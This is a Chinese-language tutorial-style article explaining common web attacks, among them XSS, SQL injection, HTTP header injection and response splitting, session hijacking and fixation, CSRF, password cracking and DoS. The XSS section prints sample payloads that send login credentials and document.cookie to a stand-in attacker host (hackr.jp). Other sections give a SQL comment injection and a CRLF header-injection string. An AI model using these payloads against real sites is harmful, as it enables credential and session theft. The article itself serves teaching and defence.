> 文章列表 > 常见的Web攻击技术

常见的Web攻击技术

常见的Web攻击技术

文章目录

  • 前言
      • HTTP 不具备必要的安全功能
      • 在客户端即可篡改请求
      • 针对 Web 应用的攻击模式
  • 因输出值转义不完全引发的安全漏洞
    • 跨站脚本攻击XSS
      • XSS实例
    • SQL 注入攻击
      • 实例
    • HTTP 首部注入攻击
      • HTTP 首部注入攻击案例
      • HTTP 响应截断攻击
  • 因会话管理疏忽引发的安全漏洞
    • 会话劫持
    • 会话固定攻击
    • 跨站点请求伪造CSRF
      • 跨站点请求伪造的攻击案例
  • 其他安全漏洞
    • 密码破解
      • 穷举法
      • 字典攻击
      • 对已加密密码的破解
    • DoS 攻击

前言

互联网上的攻击大都将 Web 站点作为目标。 本章讲解具体有哪些攻击 Web 站点的手段, 以及攻击会造成怎样的影响

简单的 HTTP 协议本身并不存在安全性问题, 因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端, 以及运行在服务器上的 Web 应用等资源才是攻击目标。

HTTP 不具备必要的安全功能

  • 与最初的设计相比, 现今的 Web 网站应用的 HTTP 协议的使用方式已发生了翻天覆地的变化。 几乎现今所有的 Web 网站都会使用会话(session) 管理、 加密处理等安全性方面的功能, 而 HTTP 协议内并不具备这些功能。

  • 从整体上看, HTTP 就是一个通用的单纯协议机制。 因此它具备较多优势, 但是在安全性方面则呈劣势。

    • 就拿远程登录时会用到的 SSH 协议来说, SSH 具备协议级别的认证及会话管理等功能, HTTP 协议则没有。 另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务, 而 HTTP 即使已架设好服务器, 但若想提供服务器基础上的 Web 应用, 很多情况下都需要重新开发。
    • 因此, 开发者需要自行设计并开发认证及会话管理功能来满足 Web应用的安全。 而自行设计就意味着会出现各种形形色色的实现。 结果, 安全等级并不完备, 可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。

在客户端即可篡改请求

  • 在 Web 应用中, 从浏览器那接收到的 HTTP 请求的全部内容, 都可以在客户端自由地变更、 篡改。 所以 Web 应用可能会接收到与预期数据不相同的内容。
  • 在 HTTP 请求报文内加载攻击代码, 就能发起对 Web 应用的攻击。通过 URL查询字段或表单、 HTTP 首部、 Cookie 等途径把攻击代码传入, 若这时 Web 应用存在安全漏洞, 那内部信息就会遭到窃取, 或被攻击者拿到管理权限

常见的Web攻击技术

针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击

主动攻击(active attack) 是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。 由于该模式是直接针对服务器上的资源进行攻击, 因此攻击者需要能够访问到那些资源。

  • 主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击

以服务器为目标的被动攻击
被动攻击(passive attack) 是指利用圈套策略执行攻击代码的攻击模式。 在被动攻击过程中, 攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击通常的攻击模式如下所示。

  • 步骤 1: 攻击者诱使用户触发已设置好的陷阱, 而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  • 步骤 2: 当用户不知不觉中招之后, 用户的浏览器或邮件客户端就会触发这个陷阱。
  • 步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用, 运行攻击代码。
  • 步骤 4: 执行完攻击代码, 存在安全漏洞的 Web 应用会成为攻击者的跳板, 可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

常见的Web攻击技术

常见的Web攻击技术

  • 企业内网攻破

因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。客户端的验证 Web 应用端( 服务器端) 的验证输入值验证输出值转义

常见的Web攻击技术

  • 多数情况下采用 JavaScript 在客户端验证数据。 可是在客户端允许篡改数据或关闭 JavaScript, 不适合将 JavaScript 验证作为安全的防范对策。 保留客户端验证只是为了尽早地辨识输入错误, 起到提高 UI体验的作用。

  • Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。 输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

  • 从数据库或文件系统、 HTML、 邮件等输出 Web 应用处理的数据之际, 针对输出做值转义处理是一项至关重要的安全策略。 当输出值转义不完全时, 会因触发攻击者传入的攻击代码, 而给输出对象带来损害。

跨站脚本攻击XSS

跨站脚本攻击(Cross-Site Scripting, XSS) 是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。 动态创建的 HTML部分有可能隐藏着安全漏洞。 就这样, 攻击者编写脚本设下陷阱, 用户在自己的浏览器上运行时, 一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值, 被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

XSS实例

初始XSS

常见的Web攻击技术

此时的确认界面上, 浏览器会把用户输入的 <s> 解析成 HTML标签, 然后显示删除线。

  • 删除线显示出来并不会造成太大的不利后果, 但如果换成使用script 标签将会如何呢。
  • XSS 是攻击者利用预先设置的陷阱触发的被动攻击跨站脚本攻击属于被动攻击模式, 因此攻击者会事先布置好用于攻击的陷阱

严重的例子——盗取用户个人信息

常见的Web攻击技术

网站通过地址栏中 URI 的查询字段指定 ID, 即相当于在表单内自动填写字符串的功能。 而就在这个地方, 隐藏着可执行跨站脚本攻击的漏洞。

对请求时对应的HTML源代码(摘录)

<div class="logo"><img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">ID <input type="text" name="ID" value="yama" />
</div>

充分熟知此处漏洞特点的攻击者, 于是就创建了下面这段嵌入恶意代码的 URL。 并隐藏植入事先准备好的欺诈邮件中或 Web 页面内, 诱使用户去点击该 URL。

http://example.jp/login?ID= "> <script> var +f=document.getElementById("login"); +f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span+s="
<div class="logo"><img src="/img/logo.gif" alt="E! 拍卖会 />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"ID <input type="text" name="ID" value=" "> <script> var f=document.getElementById("login"); f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span s=" "/>
</div>

浏览器打开该 URI 后, 直观感觉没有发生任何变化, 但设置好的脚本却偷偷开始运行了。 当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp) , 导致个人登录信息被窃取

对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外, 下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式, 窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序, 即可访问到该 Web 应用所处域名下的 Cookie 信息。 然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/) , 记录在他的登录日志中。 结果, 攻击者就这样窃取到用户的 Cookie 信息了。

常见的Web攻击技术

SQL 注入攻击

SQL注入(SQL Injection) 是指针对 Web 应用使用的数据库, 通过运行非法的 SQL而产生的攻击。 该安全隐患有可能引发极大的威胁, 有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库, 当需要对数据库表内的数据进行检索或添加、 删除等操作时, 会使用 SQL语句连接数据库进行特定的操作。 如果在调用 SQL语句的方式上存在疏漏, 就有可能执行被恶意注入(Injection) 非法 SQL语句。

SQL注入攻击有可能会造成以下等影响

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

实例

常见的Web攻击技术

  • 我们要进行搜索关于上野宣相关的数据,并且是满足可以销售的
    • SELECT * FROM bookTbl WHERE author = ‘上野宣’ and flag = 1 用这句SQL搜索出对对应的数据
  • 但是如果对SQL语句做手脚,也就是对q进行做手脚 q=上野宣’ - - ,如果不做处理,后端对应的SQL语句为
    • SELECT * FROM bookTbl WHERE author =‘上野宣’ - -’ and flag=1;
    • SQL语句中的 – 之后全视为注释。 即, and flag=1 这个条件被自动忽略了。 也就会显示那些不可销售的书籍

常见的Web攻击技术

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL注入攻击时, 很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改, 从而使用户遭受不同程度的损失。

HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection) 是指攻击者通过在响应首部字段内插入换行, 添加任意响应首部或主体的一种攻击。 属于被动攻击模式。向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTPResponse Splitting Attack) 。
如下所示, Web 应用有时会把从外部接收到的数值, 赋给响应首部字段 Location 和 Set-Cookie。

  • Location: http://www.example.com/a.cgi?q=12345
  • Set-Cookie: UID=12345

HTTP 首部注入可能像这样, 通过在某些响应首部字段需要处理输出值的地方, 插入换行发动攻击。

HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体( HTTP 响应截断攻击)

HTTP 首部注入攻击案例

  • 下面我们以选定某个类别后即可跳转至各类别对应页面的功能为
  • 讲解 HTTP 首部注入攻击。 该功能为每个类别都设定了一个类别 ID 值, 一旦选定某类别, 就会将该 ID 值反映在响应内的Location 首部字段内, 形如 Location: http://example.com/?cat=101。 令浏览器发生重定向跳转。

常见的Web攻击技术

攻击者以下面的内容替代之前的类别 ID 后发送请求。

  • 101%0D%0ASet-Cookie:+SID=123456789
    • 其中, %0D%0A 代表 HTTP 报文中的换行符, 紧接着的是可强制将攻击者网站(http://hackr.jp/) 的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。
  • 发送该请求之后, 假设结果返回以下响应。
- Location: http://example.com/?cat=101(%0D%0A : 换行符)
- Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻击者可指定修改任意的 Cookie 信息。 通过和会话固定攻击(攻击者可使用指定的会话 ID) 攻击组合, 攻击者可伪装成用户。攻击者输入的 %0D%0A, 原本应该属于首部字段 Location 的查询值部分, 但经过解析后, %0D%0A 变成了换行符, 结果插入了新的首部字段。这样一来, 攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。 攻击顺序相同, 但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。 利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了, 这样就能显示伪造的主体, 达到攻击目的。 这样的攻击叫做 HTTP 响应截断攻击。

  • %0D%0A%0D%0A <HTML><HEAD><TITLE>之后, 想要显示的网页内容
  • 在可能进行 HTTP 首部注入的环节, 通过发送上面的字符串, 返回结果得到以下这种响应。
- Set-Cookie: UID=(%0D%0A : 换行符)
- (%0D%0A : 换行符)
- <HTML><HEAD><TITLE>之后, 想要显示的网页内容 <!--(原来页面对应的首部字
  • 利用这个攻击, 已触发陷阱的用户浏览器会显示伪造的 Web 页面, 再让用户输入自己的个人信息等, 可达到和跨站脚本攻击相同的效果。
  • 另外, 滥用 HTTP/1.1 中汇集多响应返回功能, 会导致缓存服务器对任意内容进行缓存操作。 这种攻击称为缓存污染。 使用该缓存服务器的用户, 在浏览遭受攻击的网站时, 会不断地浏览被替换掉的 Web 网页。

因会话管理疏忽引发的安全漏洞

会话劫持

会话劫持(Session Hijack) 是指攻击者通过某种手段拿到了用户的会话 ID, 并非法使用此会话 ID 伪装成用户, 达到攻击的目的

常见的Web攻击技术
具备认证功能的 Web 应用, 使用会话 ID 的会话管理机制, 作为管理认证状态的主流方式。 会话 ID 中记录客户端的 Cookie 等信息, 服务器端将会话 ID 与认证状态进行一对一匹配管理。
下面列举了几种攻击者可获得会话 ID 的途径。

  • 通过非正规的生成方法推测会话 ID
  • 通过窃听或 XSS 攻击盗取会话 ID
  • 通过会话固定攻击( Session Fixation) 强行获取会话 ID

会话劫持攻击案例

我们以认证功能为例讲解会话劫持。 这里的认证功能通过会话管理机制, 会将成功认证的用户的会话 ID(SID) 保存在用户浏览器的 Cookie 中。

常见的Web攻击技术

  • 攻击者在得知该 Web 网站存在可跨站攻击(XSS) 的安全漏洞后, 就设置好用 JavaScript 脚本调用 document.cookie 以窃取Cookie 信息的陷阱, 一旦用户踏入陷阱(访问了该脚本) , 攻击者就能获取含有会话 ID 的 Cookie。
  • 攻击者拿到用户的会话 ID 后, 往自己的浏览器的 Cookie 中设置该会话 ID, 即可伪装成会话 ID 遭窃的用户, 访问 Web 网站了。

会话固定攻击

对以窃取目标会话 ID 为主动攻击手段的会话劫持而言, 会话固定攻击(Session Fixation) 攻击会强制用户使用攻击者指定的会话 ID, 属于被动攻击。

会话固定攻击案例
这个 Web 网站的认证功能, 会在认证前发布一个会话 ID, 若认证成功, 就会在服务器内改变认证状态。
常见的Web攻击技术

  • 攻击者准备陷阱, 先访问 Web 网站拿到会话ID(SID=f5d1278e8109) 。 此刻, 会话 ID 在服务器上的记录仍是(未认证) 状态。 (步骤① ~ ②)
  • 攻击者设置好强制用户使用该会话 ID 的陷阱, 并等待用户拿着这个会话 ID 前去认证。 一旦用户触发陷阱并完成认证, 会话ID(SID=f5d1278e8109) 在服务器上的状态(用户 A 已认证) 就会被记录下来。 (步骤③)
  • 攻击者估计用户差不多已触发陷阱后, 再利用之前这个会话 ID访问网站。 由于该会话 ID 目前已是(用户 A 已认证) 状态, 于是攻击者作为用户 A 的身份顺利登录网站。 (步骤④)

Session Adoption

  • Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID的功能。恶意使用该功能便可跳过会话固定攻击的准备阶段, 从 Web 网站 获得发行的会话 ID 的步骤。 即, 攻击者可私自创建会话 ID构成陷阱, 中间件却会误以为该会话 ID 是未知会话 ID 而接受。

跨站点请求伪造CSRF

跨站点请求伪造(Cross-Site Request Forgeries, CSRF) 攻击是指攻击者通过设置好的陷阱, 强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新, 属于被动攻击。
跨站点请求伪造有可能会造成以下等影响。

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

跨站点请求伪造的攻击案例

下面以留言板功能为例, 讲解跨站点请求伪造。 该功能只允许已认证并登录的用户在留言板上发表内容。

常见的Web攻击技术

  • 在该留言板系统上, 受害者用户 A 是已认证状态。 它的浏览器中的 Cookie 持有已认证的会话 ID(步骤①) 。
  • 攻击者设置好一旦用户访问, 即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。 用户 A 的浏览器执行完陷阱中的请求后, 留言板上也就会留下那条评论(步骤②) 。
  • 触发陷阱之际, 如果用户 A 尚未通过认证, 则无法利用用户 A的身份权限在留言板上发表内容

其他安全漏洞

密码破解

密码破解攻击(Password Cracking) 即算出密码, 突破认证。 攻击不仅限于 Web 应用, 还包括其他的系统(如 FTP 或 SSH 等) , 本节将会讲解对具备认证功能的 Web 应用进行的密码破解。
密码破解有以下两种手段。

  • 通过网络的密码试错
  • 对已加密密码的破解( 指攻击者入侵系统, 已获得加密或散列处理的密码数据的情况)
  • 除去突破认证的攻击手段, 还有 SQL注入攻击逃避认证, 跨站脚本攻击窃取密码信息等方法。

通过网络进行密码试错

对 Web 应用提供的认证功能, 通过网络尝试候选密码进行的一种攻击。 主要有以下两种方式。

  • 穷举法
  • 字典攻击

穷举法

  • 穷举法(Brute-force Attack, 又称暴力破解法) 是指对所有密钥集合构成的密钥空间(Keyspace) 进行穷举。 即, 用所有可行的候选密码对目标的密码系统试错, 用以突破验证的一种攻击。
    • 比如银行采用的个人识别码是由“4 位数字”组成的密码, 那么就要从 0000~9999 中的全部数字逐个进行尝试。 这样一来, 必定在候选的密码集合中存在一个正确的密码, 可通过认证。
  • 因为穷举法会尝试所有的候选密码, 所以是一种必然能够破解密码的攻击。 但是, 当密钥空间很庞大时, 解密可能需要花费数年, 甚至千年的时间, 因此从现实角度考量, 攻击是失败的。

字典攻击

  • 字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典) , 枚举字典中的密码, 尝试通过认证的一种攻击手法。
    • 还是举银行采用个人识别码是“4 位数字”的密码的例子, 考虑到用户使用自己的生日做密码的可能性较高, 于是就可以把生日日期数值化, 如将 0101~1231 保存成字典, 进行尝试。
  • 与穷举法相比, 由于需要尝试的候选密码较少, 意味着攻击耗费的时间比较短。 但是, 如果字典中没有正确的密码, 那就无法破解成功。 因此攻击的成败取决于字典的内容。

常见的Web攻击技术

利用别处泄露的 ID·密码进行攻击字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。 很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码, 因此攻击会有相当高的成功几率

对已加密密码的破解

Web 应用在保存密码时, 一般不会直接以明文的方式保存, 通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据, 如果想要真正使用这些密码, 则必须先通过解码等手段, 把加密处理的密码还原成明文形式。

常见的Web攻击技术
从加密过的数据中导出明文通常有以下几种方法。

  • 通过穷举法·字典攻击进行类推

  • 彩虹表

  • 拿到密钥

  • 加密算法的漏洞

通过穷举法·字典攻击进行类推

  • 针对密码使用散列函数进行加密处理的情况, 采用和穷举法或字典攻击相同的手法, 尝试调用相同的散列函数加密候选密码, 然后把计算出的散列值与目标散列值匹配, 类推出密码。

常见的Web攻击技术

彩虹表
彩虹表(Rainbow Table) 是由明文密码及与之对应的散列值构成的一张数据库表, 是一种通过事先制作庞大的彩虹表, 可在穷举法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。 从彩虹表内搜索散列值就可以推导出对应的明文密码

常见的Web攻击技术

拿到密钥
使用共享密钥加密方式对密码数据进行加密处理的情况下, 如果能通过某种手段拿到加密使用的密钥, 也就可以对密码数据解密了。
加密算法的漏洞
考虑到加密算法本身可能存在的漏洞, 利用该漏洞尝试解密也是一种可行的方法。 但是要找到那些已广泛使用的加密算法的漏洞, 又谈何容易, 因此困难极大, 不易成功。而 Web 应用开发者独立实现的加密算法, 想必尚未经过充分的验证, 还是很有可能存在漏洞的

DoS 攻击

DoS 攻击(Denial of Service attack) 是一种让运行中的服务呈停止状态的攻击。 有时也叫做服务停止攻击或拒绝服务攻击。 DoS 攻击的对象不仅限于 Web 网站, 还包括网络设备及服务器等。
主要有以下两种 DoS 攻击方式。

  • 集中利用访问请求造成资源过载, 资源用尽的同时, 实际上服务也就呈停止状态。

  • 通过攻击安全漏洞使服务停止。

其中, 集中利用访问请求的 DoS 攻击, 单纯来讲就是发送大量的合法请求。 服务器很难分辨何为正常请求, 何为攻击请求, 因此很难防止 DoS 攻击。

常见的Web攻击技术

  • 多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial ofService attack) 。 DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。